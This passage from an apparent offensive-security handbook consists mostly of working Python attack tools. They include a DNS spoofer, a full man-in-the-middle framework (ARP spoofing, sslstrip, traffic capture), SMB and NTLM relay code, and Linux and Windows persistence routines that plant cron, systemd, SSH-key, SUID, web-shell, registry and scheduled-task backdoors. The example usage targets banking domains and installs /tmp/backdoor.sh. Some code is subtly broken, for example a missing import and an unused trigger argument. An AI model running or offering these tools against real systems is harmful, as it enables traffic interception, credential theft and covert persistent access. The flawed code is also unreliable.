gateways['default'][netifaces.AF_INET]\n        return default_gateway[0]\n    \n    def get_ip(self):\n        \"\"\"Get IP address of interface\"\"\"\n        \n        addrs = netifaces.ifaddresses(self.interface)\n        return addrs[netifaces.AF_INET][0]['addr']\n    \n    def add_redirect(self, domain, redirect_ip):\n        \"\"\"Add domain to redirect map\"\"\"\n        \n        self.redirect_map[domain] = redirect_ip\n        print(f\"[+] Will redirect {domain} to {redirect_ip}\")\n        \n    def dns_response(self, packet):\n        \"\"\"Create spoofed DNS response\"\"\"\n        \n        # Check if it's a DNS query\n        if packet.haslayer(DNSQR) and packet[IP].src != self.get_ip():\n            query_name = packet[DNSQR].qname.decode('utf-8').rstrip('.')\n            \n            # Check if domain is in redirect map\n            redirect_ip = None\n            for domain, ip in self.redirect_map.items():\n                if domain in query_name or query_name in domain:\n                    redirect_ip = ip\n                    print(f\"[+] Spoofing DNS for {query_name} -&gt; {redirect_ip}\")\n                    break\n                    \n            if redirect_ip:\n                # Build spoofed response\n                response = IP(\n                    src=packet[IP].dst,\n                    dst=packet[IP].src\n                ) / UDP(\n                    sport=packet[UDP].dport,\n                    dport=packet[UDP].sport\n                ) / DNS(\n                    id=packet[DNS].id,\n                    qr=1,\n                    aa=1,\n                    qd=packet[DNS].qd,\n                    an=DNSRR(\n                        rrname=packet[DNS].qd.qname,\n                        ttl=300,\n                        rdata=redirect_ip\n                    )\n                )\n                \n                # Send spoofed response\n                send(response, iface=self.interface, verbose=False)\n                return True\n                \n        return False\n    \n    def start_spoofing(self):\n        \"\"\"Start DNS spoofing\"\"\"\n        \n        self.running = True\n        print(f\"[*] Starting DNS spoofing on {self.interface}\")\n        print(\"[*] Press Ctrl+C to stop\")\n        \n        # Enable IP forwarding\n        with open('/proc/sys/net/ipv4/ip_forward', 'w') as f:\n            f.write('1')\n            \n        try:\n            sniff(iface=self.interface, prn=self.dns_response, store=0)\n        except KeyboardInterrupt:\n            print(\"\\n[*] Stopping DNS spoofing...\")\n            self.stop_spoofing()\n            \n    def stop_spoofing(self):\n        \"\"\"Stop DNS spoofing\"\"\"\n        \n        self.running = False\n        \n        # Disable IP forwarding\n        with open('/proc/sys/net/ipv4/ip_forward', 'w') as f:\n            f.write('0')\n            \n        print(\"[+] DNS spoofing stopped\")\n\n# Example usage\nif __name__ == \"__main__\":\n    if len(sys.argv) &lt; 2:\n        print(\"Usage: dns_spoofing.py \")\n        sys.exit(1)\n        \n    interface = sys.argv[1]\n    \n    spoofer = DNSSpoofer(interface)\n    \n    # Add redirects\n    spoofer.add_redirect(\"example.com\", \"192.168.1.100\")\n    spoofer.add_redirect(\"google.com\", \"192.168.1.100\")\n    spoofer.add_redirect(\"bank.com\", \"192.168.1.100\")\n    \n    # Start spoofing\n    spoofer.start_spoofing()\n```\n\n### 19.3 MITM (Man-in-the-Middle)\n\nMan-in-the-Middle attacks intercept and potentially modify communications between two parties.\n\n#### 19.3.1 Complete MITM Framework\n\n```python\n#!/usr/bin/env python3\n# mitm_framework.py\n\nimport threading\nimport subprocess\nimport os\nimport signal\nimport time\n\nclass MITMFramework:\n    def __init__(self, interface, target_ip, gateway_ip):\n        self.interface = interface\n        self.target_ip = target_ip\n        self.gateway_ip = gateway_ip\n        self.processes = []\n        \n    def enable_ip_forwarding(self):\n        \"\"\"Enable IP forwarding\"\"\"\n        \n        with open('/proc/sys/net/ipv4/ip_forward', 'w') as f:\n            f.write('1')\n        print(\"[+] IP forwarding enabled\")\n        \n    def disable_ip_forwarding(self):\n        \"\"\"Disable IP forwarding\"\"\"\n        \n        with open('/proc/sys/net/ipv4/ip_forward', 'w') as f:\n            f.write('0')\n        print(\"[+] IP forwarding disabled\")\n        \n    def setup_iptables_redirect(self, redirect_port=8080):\n        \"\"\"Setup iptables to redirect traffic\"\"\"\n        \n        # Redirect HTTP to local port\n        cmd1 = ['sudo', 'iptables', '-t', 'nat', '-A', 'PREROUTING', \n                '-p', 'tcp', '--dport', '80', '-j', 'REDIRECT', \n                '--to-port', str(redirect_port)]\n        \n        # Redirect HTTPS to local port\n        cmd2 = ['sudo', 'iptables', '-t', 'nat', '-A', 'PREROUTING',\n                '-p', 'tcp', '--dport', '443', '-j', 'REDIRECT',\n                '--to-port', str(redirect_port)]\n        \n        subprocess.run(cmd1)\n        subprocess.run(cmd2)\n        print(f\"[+] Traffic redirected to port {redirect_port}\")\n        \n    def clear_iptables(self):\n        \"\"\"Clear iptables rules\"\"\"\n        \n        subprocess.run(['sudo', 'iptables', '-t', 'nat', '-F'])\n        subprocess.run(['sudo', 'iptables', '-F'])\n        print(\"[+] iptables rules cleared\")\n        \n    def start_arpspoof(self):\n        \"\"\"Start ARP spoofing\"\"\"\n        \n        # Spoof target\n        cmd1 = ['sudo', 'arpspoof', '-i', self.interface, \n                '-t', self.target_ip, self.gateway_ip]\n        \n        # Spoof gateway\n        cmd2 = ['sudo', 'arpspoof', '-i', self.interface,\n                '-t', self.gateway_ip, self.target_ip]\n        \n        proc1 = subprocess.Popen(cmd1, stdout=subprocess.DEVNULL, stderr=subprocess.DEVNULL)\n        proc2 = subprocess.Popen(cmd2, stdout=subprocess.DEVNULL, stderr=subprocess.DEVNULL)\n        \n        self.processes.extend([proc1, proc2])\n        print(\"[+] ARP spoofing started\")\n        \n    def start_sslstrip(self, port=8080):\n        \"\"\"Start SSLstrip to downgrade HTTPS to HTTP\"\"\"\n        \n        try:\n            proc = subprocess.Popen(['sslstrip', '-l', str(port), '-w', 'sslstrip.log'],\n                                   stdout=subprocess.DEVNULL, stderr=subprocess.DEVNULL)\n            self.processes.append(proc)\n            print(f\"[+] SSLstrip started on port {port}\")\n        except FileNotFoundError:\n            print(\"[-] sslstrip not found. Install with: pip install sslstrip\")\n            \n    def start_dnsspoof(self, hosts_file):\n        \"\"\"Start DNS spoofing\"\"\"\n        \n        cmd = ['sudo', 'dnsspoof', '-i', self.interface, '-f', hosts_file]\n        proc = subprocess.Popen(cmd, stdout=subprocess.DEVNULL, stderr=subprocess.DEVNULL)\n        self.processes.append(proc)\n        print(\"[+] DNS spoofing started\")\n        \n    def create_hosts_file(self, redirects):\n        \"\"\"Create hosts file for DNS spoofing\"\"\"\n        \n        with open('/tmp/dnsspoof.hosts', 'w') as f:\n            for ip, domains in redirects.items():\n                for domain in domains:\n                    f.write(f\"{ip}\\t{domain}\\n\")\n                    \n        print(f\"[+] Hosts file created with {len(redirects)} entries\")\n        return '/tmp/dnsspoof.hosts'\n        \n    def start_driftnet(self):\n        \"\"\"Start driftnet to capture images\"\"\"\n        \n        cmd = ['sudo', 'driftnet', '-i', self.interface]\n        proc = subprocess.Popen(cmd, stdout=subprocess.DEVNULL, stderr=subprocess.DEVNULL)\n        self.processes.append(proc)\n        print(\"[+] driftnet started\")\n        \n    def start_urlsnarf(self):\n        \"\"\"Start urlsnarf to capture URLs\"\"\"\n        \n        cmd = ['sudo', 'urlsnarf', '-i', self.interface]\n        proc = subprocess.Popen(cmd, stdout=subprocess.DEVNULL, stderr=subprocess.DEVNULL)\n        self.processes.append(proc)\n        print(\"[+] urlsnarf started\")\n        \n    def start_tcpdump(self, output_file='capture.pcap'):\n        \"\"\"Start tcpdump to capture all traffic\"\"\"\n        \n        cmd = ['sudo', 'tcpdump', '-i', self.interface, '-w', output_file]\n        proc = subprocess.Popen(cmd, stdout=subprocess.DEVNULL, stderr=subprocess.DEVNULL)\n        self.processes.append(proc)\n        print(f\"[+] tcpdump started, saving to {output_file}\")\n        \n    def stop_all(self):\n        \"\"\"Stop all running processes\"\"\"\n        \n        print(\"[*] Stopping all processes...\")\n        \n        for proc in self.processes:\n            proc.terminate()\n            \n        time.sleep(2)\n        for proc in self.processes:\n            if proc.poll() is None:\n                proc.kill()\n                \n        self.processes.clear()\n        \n    def run_full_mitm(self, sslstrip_port=8080, capture_images=True, capture_urls=True):\n        \"\"\"Run full MITM attack with all components\"\"\"\n        \n        print(\"=\" * 60)\n        print(\"MAN-IN-THE-MIDDLE ATTACK\")\n        print(\"=\" * 60)\n        \n        # Enable IP forwarding\n        self.enable_ip_forwarding()\n        \n        # Setup iptables redirect\n        self.setup_iptables_redirect(sslstrip_port)\n        \n        # Start ARP spoofing\n        self.start_arpspoof()\n        \n        # Start SSLstrip\n        self.start_sslstrip(sslstrip_port)\n        \n        # Start other tools\n        if capture_images:\n            self.start_driftnet()\n            \n        if capture_urls:\n            self.start_urlsnarf()\n            \n        # Start packet capture\n        self.start_tcpdump()\n        \n        print(\"\\n[*] MITM attack running. Press Ctrl+C to stop...\")\n        \n        try:\n            while True:\n                time.sleep(1)\n        except KeyboardInterrupt:\n            print(\"\\n[*] Stopping MITM attack...\")\n            self.stop_all()\n            self.clear_iptables()\n            self.disable_ip_forwarding()\n            print(\"[+] MITM attack stopped\")\n\n# Example usage\nmitm = MITMFramework('eth0', '192.168.1.100', '192.168.1.1')\n\n# Create hosts file for DNS spoofing\nredirects = {\n    '192.168.1.50': ['example.com', 'www.example.com'],\n    '192.168.1.51': ['bank.com', 'www.bank.com']\n}\nhosts_file = mitm.create_hosts_file(redirects)\n\n# Start DNS spoofing\n# mitm.start_dnsspoof(hosts_file)\n\n# Run full MITM\nmitm.run_full_mitm()\n```\n\n### 19.4 SMB Attacks\n\nServer Message Block (SMB) protocol attacks target Windows file sharing.\n\n#### 19.4.1 SMB Relay Attacks\n\n```python\n#!/usr/bin/env python3\n# smb_relay.py\n\nimport subprocess\nimport os\n\nclass SMBRelay:\n    def __init__(self):\n        self.techniques = {\n            'smb_relay': 'Relay SMB authentication to another system',\n            'ntlm_relay': 'Relay NTLM authentication',\n            'smb_signing_disabled': 'Exploit systems with SMB signing disabled',\n            'responder': 'Capture NTLM hashes using Responder'\n        }\n        \n    def check_smb_signing(self, target):\n        \"\"\"Check if SMB signing is disabled\"\"\"\n        \n        print(f\"[*] Checking SMB signing on {target}\")\n        \n        cmd = ['nmap', '-p', '445', '--script', 'smb2-security-mode', target]\n        \n        try:\n            result = subprocess.run(cmd, capture_output=True, text=True)\n            \n            if 'signing is required' in result.stdout.lower():\n                print(f\"[+] SMB signing is enabled on {target}\")\n                return True\n            else:\n                print(f\"[!] SMB signing is disabled on {target} - vulnerable to relay\")\n                return False\n        except:\n            pass\n            \n        return None\n    \n    def run_responder(self, interface, analyze=False):\n        \"\"\"Run Responder to capture NTLM hashes\"\"\"\n        \n        cmd = ['sudo', 'responder', '-I', interface]\n        \n        if analyze:\n            cmd.append('-A')  # Analyze mode\n            \n        print(f\"[*] Starting Responder: {' '.join(cmd)}\")\n        \n        # This runs interactively\n        return cmd\n    \n    def run_ntlmrelayx(self, targets, commands=None):\n        \"\"\"Run ntlmrelayx to relay authentication\"\"\"\n        \n        cmd = ['ntlmrelayx.py', '-tf', targets]\n        \n        if commands:\n            cmd.extend(['-c', commands])\n            \n        print(f\"[*] Starting ntlmrelayx: {' '.join(cmd)}\")\n        return cmd\n    \n    def create_targets_file(self, targets, filename):\n        \"\"\"Create targets file for ntlmrelayx\"\"\"\n        \n        with open(filename, 'w') as f:\n            for target in targets:\n                f.write(target + '\\n')\n                \n        print(f\"[+] Targets file created: {filename}\")\n        return filename\n    \n    def smb_exec(self, target, username, password, command):\n        \"\"\"Execute command via SMB using psexec\"\"\"\n        \n        cmd = ['psexec.py', f'{username}:{password}@{target}', command]\n        \n        try:\n            result = subprocess.run(cmd, capture_output=True, text=True)\n            print(result.stdout)\n            return result.stdout\n        except Exception as e:\n            print(f\"Error: {e}\")\n            return None\n\n# Example usage\nsmb = SMBRelay()\n\n# Check SMB signing\nsmb.check_smb_signing('192.168.1.100')\n\n# Create targets file\ntargets = smb.create_targets_file(['192.168.1.101', '192.168.1.102'], 'smb_targets.txt')\n\n# Run ntlmrelayx (would be used with Responder)\n# smb.run_ntlmrelayx('smb_targets.txt', 'whoami')\n```\n\n### 19.5 NTLM Relay\n\nNTLM relay attacks capture and forward NTLM authentication attempts.\n\n#### 19.5.1 NTLM Relay Implementation\n\n```python\n#!/usr/bin/env python3\n# ntlm_relay.py\n\nimport socket\nimport threading\nimport struct\nimport base64\n\nclass NTLMRelay:\n    def __init__(self, listen_port=445, target_host=None):\n        self.listen_port = listen_port\n        self.target_host = target_host\n        self.running = False\n        \n    def handle_client(self, client_socket, address):\n        \"\"\"Handle incoming client connection\"\"\"\n        \n        print(f\"[+] Connection from {address}\")\n        \n        if self.target_host:\n            # Connect to target\n            target_socket = socket.socket(socket.AF_INET, socket.SOCK_STREAM)\n            target_socket.connect((self.target_host, 445))\n            print(f\"[+] Connected to target {self.target_host}\")\n            \n            # Relay traffic between client and target\n            self.relay_traffic(client_socket, target_socket)\n        else:\n            # Just capture NTLM authentication\n            self.capture_ntlm(client_socket)\n            \n    def relay_traffic(self, client_sock, target_sock):\n        \"\"\"Relay traffic between client and target\"\"\"\n        \n        # Set sockets to non-blocking\n        client_sock.setblocking(0)\n        target_sock.setblocking(0)\n        \n        sockets = [client_sock, target_sock]\n        \n        while self.running:\n            try:\n                readable, _, _ = select.select(sockets, [], [], 1)\n                \n                for sock in readable:\n                    data = sock.recv(4096)\n                    if not data:\n                        return\n                        \n                    # Relay to other socket\n                    if sock is client_sock:\n                        target_sock.send(data)\n                        self.log_packet(\"Client -&gt; Target\", data)\n                    else:\n                        client_sock.send(data)\n                        self.log_packet(\"Target -&gt; Client\", data)\n                        \n            except:\n                pass\n                \n    def capture_ntlm(self, client_socket):\n        \"\"\"Capture NTLM authentication attempt\"\"\"\n        \n        # This would parse NTLMSSP messages\n        # Simplified for demonstration\n        \n        data = client_socket.recv(4096)\n        \n        # Look for NTLMSSP signature\n        if b'NTLMSSP' in data:\n            print(\"[!] NTLM authentication captured!\")\n            \n            # Extract NTLM hash\n            # This would involve parsing the NTLMSSP structure\n            \n            # Log the raw data\n            with open('ntlm_captures.txt', 'ab') as f:\n                f.write(data)\n                \n    def log_packet(self, direction, data):\n        \"\"\"Log relayed packet\"\"\"\n        \n        # In practice, you might want to analyze/modify packets\n        pass\n        \n    def start(self):\n        \"\"\"Start NTLM relay server\"\"\"\n        \n        self.running = True\n        \n        server = socket.socket(socket.AF_INET, socket.SOCK_STREAM)\n        server.setsockopt(socket.SOL_SOCKET, socket.SO_REUSEADDR, 1)\n        server.bind(('0.0.0.0', self.listen_port))\n        server.listen(5)\n        \n        print(f\"[*] NTLM relay listening on port {self.listen_port}\")\n        \n        while self.running:\n            try:\n                client, addr = server.accept()\n                thread = threading.Thread(target=self.handle_client, args=(client, addr))\n                thread.daemon = True\n                thread.start()\n            except:\n                pass\n                \n    def stop(self):\n        \"\"\"Stop relay server\"\"\"\n        \n        self.running = False\n\n# Example usage\nrelay = NTLMRelay(listen_port=445, target_host='192.168.1.100')\n# relay.start()\n```\n\n### 19.6 Wireshark\n\nWireshark is the premier network protocol analyzer for packet capture and analysis.\n\n#### 19.6.1 Wireshark Automation and Analysis\n\n```python\n#!/usr/bin/env python3\n# wireshark_automation.py\n\nimport subprocess\nimport os\nimport json\nimport pyshark\n\nclass WiresharkAutomation:\n    def __init__(self):\n        self.capture = None\n        \n    def capture_packets(self, interface, count=100, output_file='capture.pcap'):\n        \"\"\"Capture packets using tshark\"\"\"\n        \n        cmd = ['tshark', '-i', interface, '-c', str(count), '-w', output_file]\n        \n        print(f\"[*] Capturing {count} packets on {interface}\")\n        \n        try:\n            subprocess.run(cmd)\n            print(f\"[+] Packets saved to {output_file}\")\n            return output_file\n        except Exception as e:\n            print(f\"Error: {e}\")\n            return None\n    \n    def analyze_pcap(self, pcap_file):\n        \"\"\"Analyze PCAP file using pyshark\"\"\"\n        \n        print(f\"[*] Analyzing {pcap_file}\")\n        \n        cap = pyshark.FileCapture(pcap_file)\n        \n        stats = {\n            'total_packets': 0,\n            'protocols': {},\n            'ip_addresses': set(),\n            'http_requests': [],\n            'dns_queries': [],\n            'tcp_streams': set()\n        }\n        \n        for packet in cap:\n            stats['total_packets'] += 1\n            \n            # Count protocols\n            highest_layer = packet.highest_layer\n            stats['protocols'][highest_layer] = stats['protocols'].get(highest_layer, 0) + 1\n            \n            # Collect IP addresses\n            if 'IP' in packet:\n                stats['ip_addresses'].add(packet.ip.src)\n                stats['ip_addresses'].add(packet.ip.dst)\n                \n            # HTTP requests\n            if 'HTTP' in packet:\n                if hasattr(packet.http, 'request_method'):\n                    stats['http_requests'].append({\n                        'method': packet.http.request_method,\n                        'uri': packet.http.request_uri if hasattr(packet.http, 'request_uri') else '',\n                        'host': packet.http.host if hasattr(packet.http, 'host') else ''\n                    })\n                    \n            # DNS queries\n            if 'DNS' in packet:\n                if hasattr(packet.dns, 'qry_name'):\n                    stats['dns_queries'].append(packet.dns.qry_name)\n                    \n            # TCP streams\n            if 'TCP' in packet:\n                stream_id = f\"{packet.ip.src}:{packet.tcp.srcport}-&gt;{packet.ip.dst}:{packet.tcp.dstport}\"\n                stats['tcp_streams'].add(stream_id)\n                \n        cap.close()\n        \n        return stats\n    \n    def filter_pcap(self, pcap_file, filter_expression, output_file='filtered.pcap'):\n        \"\"\"Filter PCAP using display filter\"\"\"\n        \n        cmd = ['tshark', '-r', pcap_file, '-Y', filter_expression, '-w', output_file]\n        \n        try:\n            subprocess.run(cmd)\n            print(f\"[+] Filtered packets saved to {output_file}\")\n            return output_file\n        except Exception as e:\n            print(f\"Error: {e}\")\n            return None\n    \n    def extract_objects(self, pcap_file, object_type='http'):\n        \"\"\"Extract objects from capture (HTTP files, etc.)\"\"\"\n        \n        if object_type == 'http':\n            cmd = ['tshark', '-r', pcap_file, '--export-objects', 'http,./extracted']\n        elif object_type == 'smb':\n            cmd = ['tshark', '-r', pcap_file, '--export-objects', 'smb,./extracted']\n        else:\n            print(f\"[-] Unknown object type: {object_type}\")\n            return None\n            \n        try:\n            os.makedirs('extracted', exist_ok=True)\n            subprocess.run(cmd)\n            print(f\"[+] Objects extracted to ./extracted\")\n            return './extracted'\n        except Exception as e:\n            print(f\"Error: {e}\")\n            return None\n    \n    def follow_stream(self, pcap_file, stream_index, protocol='tcp'):\n        \"\"\"Follow and extract TCP/UDP stream\"\"\"\n        \n        cmd = ['tshark', '-r', pcap_file, '-q', '--follow', protocol, \n               '--color', str(stream_index)]\n        \n        try:\n            result = subprocess.run(cmd, capture_output=True, text=True)\n            return result.stdout\n        except Exception as e:\n            print(f\"Error: {e}\")\n            return None\n    \n    def generate_statistics(self, pcap_file):\n        \"\"\"Generate various statistics\"\"\"\n        \n        stats = {}\n        \n        # Protocol hierarchy\n        proto_cmd = ['tshark', '-r', pcap_file, '-z', 'io,phs', '-q']\n        proto_result = subprocess.run(proto_cmd, capture_output=True, text=True)\n        stats['protocol_hierarchy'] = proto_result.stdout\n        \n        # Endpoints\n        endpoints_cmd = ['tshark', '-r', pcap_file, '-z', 'endpoints,ip', '-q']\n        endpoints_result = subprocess.run(endpoints_cmd, capture_output=True, text=True)\n        stats['endpoints'] = endpoints_result.stdout\n        \n        # Conversations\n        conv_cmd = ['tshark', '-r', pcap_file, '-z', 'conv,ip', '-q']\n        conv_result = subprocess.run(conv_cmd, capture_output=True, text=True)\n        stats['conversations'] = conv_result.stdout\n        \n        return stats\n    \n    def live_capture_and_alert(self, interface, alert_filter, callback):\n        \"\"\"Live capture with alerting\"\"\"\n        \n        def packet_handler(pkt):\n            if alert_filter in str(pkt):\n                callback(pkt)\n                \n        cap = pyshark.LiveCapture(interface=interface)\n        cap.apply_on_packets(packet_handler)\n\n# Example usage\nwireshark = WiresharkAutomation()\n\n# Capture packets\npcap = wireshark.capture_packets('eth0', count=100, output_file='test.pcap')\n\nif pcap:\n    # Analyze\n    stats = wireshark.analyze_pcap(pcap)\n    print(json.dumps(stats, indent=2, default=str))\n    \n    # Filter\n    filtered = wireshark.filter_pcap(pcap, 'http')\n    \n    # Extract objects\n    # wireshark.extract_objects(pcap, 'http')\n    \n    # Generate statistics\n    # stats = wireshark.generate_statistics(pcap)\n    # print(stats)\n```\n\n---\n\n# PART VIII \u2014 POST-EXPLOITATION\n\n## Chapter 20 \u2014 Maintaining Access\n\nPost-exploitation refers to the phase after initial compromise, where attackers aim to maintain persistence, escalate privileges, move laterally, and extract valuable data. This phase is critical for both attackers and defenders to understand.\n\n### 20.1 Persistence Techniques\n\nPersistence ensures continued access to a compromised system even after reboots or credential changes.\n\n#### 20.1.1 Linux Persistence Mechanisms\n\n```python\n#!/usr/bin/env python3\n# linux_persistence.py\n\nimport os\nimport subprocess\nimport pwd\nimport grp\nimport stat\nfrom datetime import datetime\n\nclass LinuxPersistence:\n    def __init__(self, session):\n        self.session = session\n        self.techniques = []\n        \n    def add_cron_persistence(self, command, schedule=\"@reboot\"):\n        \"\"\"Add persistence via cron jobs\"\"\"\n        \n        print(\"[*] Adding cron persistence...\")\n        \n        # System-wide crontab\n        system_crontab = \"/etc/crontab\"\n        cron_entry = f\"{schedule} root {command}\\n\"\n        \n        try:\n            with open(system_crontab, 'a') as f:\n                f.write(cron_entry)\n            print(f\"[+] Added to {system_crontab}\")\n            self.techniques.append(\"cron_system\")\n        except:\n            pass\n            \n        # User crontab\n        try:\n            result = subprocess.run(['crontab', '-l'], capture_output=True, text=True)\n            current_cron = result.stdout\n            new_cron = current_cron + f\"{schedule} {command}\\n\"\n            \n            with open('/tmp/newcron', 'w') as f:\n                f.write(new_cron)\n            subprocess.run(['crontab', '/tmp/newcron'])\n            os.remove('/tmp/newcron')\n            print(\"[+] Added to user crontab\")\n            self.techniques.append(\"cron_user\")\n        except:\n            pass\n    \n    def add_ssh_persistence(self, ssh_key):\n        \"\"\"Add persistence via SSH authorized_keys\"\"\"\n        \n        print(\"[*] Adding SSH persistence...\")\n        \n        ssh_dir = os.path.expanduser(\"~/.ssh\")\n        auth_keys = os.path.join(ssh_dir, \"authorized_keys\")\n        \n        # Create .ssh directory if it doesn't exist\n        if not os.path.exists(ssh_dir):\n            os.makedirs(ssh_dir, mode=0o700)\n            \n        # Add SSH key\n        try:\n            with open(auth_keys, 'a') as f:\n                f.write(ssh_key + '\\n')\n            os.chmod(auth_keys, 0o600)\n            print(f\"[+] SSH key added to {auth_keys}\")\n            self.techniques.append(\"ssh_key\")\n        except Exception as e:\n            print(f\"[-] Failed to add SSH key: {e}\")\n            \n    def add_systemd_persistence(self, service_name, command):\n        \"\"\"Add persistence via systemd service\"\"\"\n        \n        print(\"[*] Adding systemd persistence...\")\n        \n        service_file = f\"/etc/systemd/system/{service_name}.service\"\n        \n        service_content = f\"\"\"[Unit]\nDescription={service_name}\nAfter=network.target\n\n[Service]\nType=simple\nExecStart={command}\nRestart=always\nRestartSec=10\nUser=root\n\n[Install]\nWantedBy=multi-user.target\n\"\"\"\n        \n        try:\n            with open(service_file, 'w') as f:\n                f.write(service_content)\n                \n            # Enable and start service\n            subprocess.run(['systemctl', 'enable', service_name])\n            subprocess.run(['systemctl', 'start', service_name])\n            \n            print(f\"[+] Systemd service {service_name} created and started\")\n            self.techniques.append(\"systemd\")\n        except Exception as e:\n            print(f\"[-] Failed to create systemd service: {e}\")\n    \n    def add_ld_preload_persistence(self, library_path):\n        \"\"\"Add persistence via LD_PRELOAD\"\"\"\n        \n        print(\"[*] Adding LD_PRELOAD persistence...\")\n        \n        ld_preload_file = \"/etc/ld.so.preload\"\n        \n        try:\n            with open(ld_preload_file, 'a') as f:\n                f.write(library_path + '\\n')\n            print(f\"[+] Added to {ld_preload_file}\")\n            self.techniques.append(\"ld_preload\")\n        except:\n            pass\n    \n    def add_bashrc_persistence(self, command):\n        \"\"\"Add persistence via .bashrc\"\"\"\n        \n        print(\"[*] Adding bashrc persistence...\")\n        \n        bashrc = os.path.expanduser(\"~/.bashrc\")\n        \n        try:\n            with open(bashrc, 'a') as f:\n                f.write(f\"\\n# Persistence\\n{command}\\n\")\n            print(f\"[+] Added to {bashrc}\")\n            self.techniques.append(\"bashrc\")\n        except:\n            pass\n    \n    def add_suid_binary(self, binary_path):\n        \"\"\"Create SUID binary for persistence\"\"\"\n        \n        print(\"[*] Creating SUID binary...\")\n        \n        # Copy /bin/bash or other binary\n        suid_binary = \"/tmp/.bash\"\n        \n        try:\n            subprocess.run(['cp', binary_path, suid_binary])\n            os.chmod(suid_binary, 0o4755)  # SUID bit\n            print(f\"[+] SUID binary created at {suid_binary}\")\n            self.techniques.append(\"suid_binary\")\n        except Exception as e:\n            print(f\"[-] Failed to create SUID binary: {e}\")\n    \n    def add_web_shell(self, web_root, shell_content):\n        \"\"\"Add web shell for persistence\"\"\"\n        \n        print(\"[*] Adding web shell...\")\n        \n        web_shells = [\n            os.path.join(web_root, \"shell.php\"),\n            os.path.join(web_root, \"images/.shell.php\"),\n            os.path.join(web_root, \"wp-content/.shell.php\")\n        ]\n        \n        for shell_path in web_shells:\n            try:\n                os.makedirs(os.path.dirname(shell_path), exist_ok=True)\n                with open(shell_path, 'w') as f:\n                    f.write(shell_content)\n                print(f\"[+] Web shell added at {shell_path}\")\n                self.techniques.append(\"web_shell\")\n                break\n            except:\n                pass\n    \n    def add_kernel_module_persistence(self, module_path):\n        \"\"\"Add persistence via kernel module\"\"\"\n        \n        print(\"[*] Adding kernel module persistence...\")\n        \n        modules_file = \"/etc/modules\"\n        \n        try:\n            module_name = os.path.basename(module_path).replace('.ko', '')\n            with open(modules_file, 'a') as f:\n                f.write(module_name + '\\n')\n            print(f\"[+] Added {module_name} to {modules_file}\")\n            self.techniques.append(\"kernel_module\")\n        except:\n            pass\n    \n    def list_techniques(self):\n        \"\"\"List all persistence techniques used\"\"\"\n        \n        print(\"\\n[+] Persistence Techniques Applied:\")\n        for technique in self.techniques:\n            print(f\"  \u2022 {technique}\")\n            \n        return self.techniques\n    \n    def cleanup(self):\n        \"\"\"Remove persistence mechanisms (for cleanup after testing)\"\"\"\n        \n        print(\"[*] Cleaning up persistence mechanisms...\")\n        \n        # Remove cron entries\n        # Remove SSH keys\n        # Remove systemd services\n        # etc.\n        \n        print(\"[+] Cleanup complete\")\n\n# Example usage\npersist = LinuxPersistence(session=None)\n\n# Add various persistence mechanisms\npersist.add_cron_persistence(\"/tmp/backdoor.sh\", \"@reboot\")\npersist.add_ssh_persistence(\"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQC...\")\npersist.add_systemd_persistence(\"systemd-backdoor\", \"/tmp/backdoor.sh\")\npersist.add_bashrc_persistence(\"nohup /tmp/backdoor.sh &amp;\")\n\npersist.list_techniques()\n```\n\n#### 20.1.2 Windows Persistence Mechanisms\n\n```python\n#!/usr/bin/env python3\n# windows_persistence.py\n\nimport winreg\nimport os\nimport subprocess\nimport ctypes\n\nclass WindowsPersistence:\n    def __init__(self):\n        self.techniques = []\n        \n    def add_registry_run(self, name, command, hive=winreg.HKEY_CURRENT_USER):\n        \"\"\"Add persistence via Run registry key\"\"\"\n        \n        print(\"[*] Adding registry Run persistence...\")\n        \n        reg_paths = [\n            r\"Software\\Microsoft\\Windows\\CurrentVersion\\Run\",\n            r\"Software\\Microsoft\\Windows\\CurrentVersion\\RunOnce\",\n            r\"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices\"\n        ]\n        \n        for reg_path in reg_paths:\n            try:\n                key = winreg.OpenKey(hive, reg_path, 0, winreg.KEY_SET_VALUE)\n                winreg.SetValueEx(key, name, 0, winreg.REG_SZ, command)\n                winreg.CloseKey(key)\n                print(f\"[+] Added to {reg_path}\")\n                self.techniques.append(f\"registry_{reg_path}\")\n            except Exception as e:\n                print(f\"[-] Failed to add to {reg_path}: {e}\")\n    \n    def add_scheduled_task(self, task_name, command, trigger=\"ONLOGON\"):\n        \"\"\"Add persistence via scheduled task\"\"\"\n        \n        print(\"[*] Adding scheduled task persistence...\")\n        \n        triggers = {\n            \"ONLOGON\": \"/ONLOGON\",\n            \"ONSTART\": \"/ONSTART\",\n            \"DAILY\": \"/DAILY\",\n            \"HOURLY\": \"/HOURLY\"\n        }\n        \n        trigger_arg = triggers.get(trigger, \"/ONLOGON\")\n        \n        cmd = [\n            'schtasks', '/create', '/tn', task_name,\n            '/tr', command, '/sc', trigger, '/f'\n        ]\n        \n        try:\n            result = subprocess.run(cmd, capture_output=True, text=True)\n            if result.returncode == 0:\n                print(f\"[+] Scheduled task {task_name} created\")\n                self.techniques.append(\"scheduled_task\")\n            else:\n                print(f\"[-] Failed to create task: {result.stderr}\")\n        except Exception as e:\n            print(f\"[-] Error: {e}\")\n    \n    def add_startup_folder(self, script_path, script_name):\n        \"\"\"Add persistence via Startup folder\"\"\"\n        \n        print(\"[*] Adding Startup folder persistence...\")\n        \n        startup_paths = [\n            os.path.expandvars(r\"%APPDATA%\\Microsoft\\Windows\\Start Menu\\Programs\\Startup\"),\n            os.path.expandvars(r\"%PROGRAMDATA%\\Microsoft\\Windows\\Start Menu\\Programs\\Startup\")\n        ]\n        \n        for startup_path in startup_paths:\n            try:\n                dest = os.path.join(startup_path, script_name)\n                if os.path.exists(script_path):\n                    import shutil\n                    shutil.copy2(script_path, dest)\n                    print(f\"[+] Copied to {dest}\")\n                    self.techniques.append(\"startup_folder\")\n                else:\n                    with open(dest, 'w') as f:\n                        f.write(f'@echo off\\n{script_path}\\n')\n                    print(f\"[+] Created shortcut in {dest}\")\n                    self.techniques.append(\"startup_folder\")\n            except Exception as e:\n                print(f\"[-] Failed to copy to {startup_path}: {e}\")\n    \n    def add_wmi_persistence(self, name, command):\n        \"\"\"Add persistence via WMI event subscription\"\"\"\n        \n        print(\"[*] Adding WMI persistence...\")\n        \n        # Create WMI event filter for system startup\n        filter_cmd = f'''\n        $filterArgs = @{{Name='{name}';\n            EventNameSpace='root\\cimv2';\n            QueryLanguage='WQL';\n            Query=\"SELECT * FROM Win32_ComputerSystemEvent WHERE EventType = 1\"}}\n        $filter = Set-WmiInstance -Class __EventFilter -Namespace root\\subscription 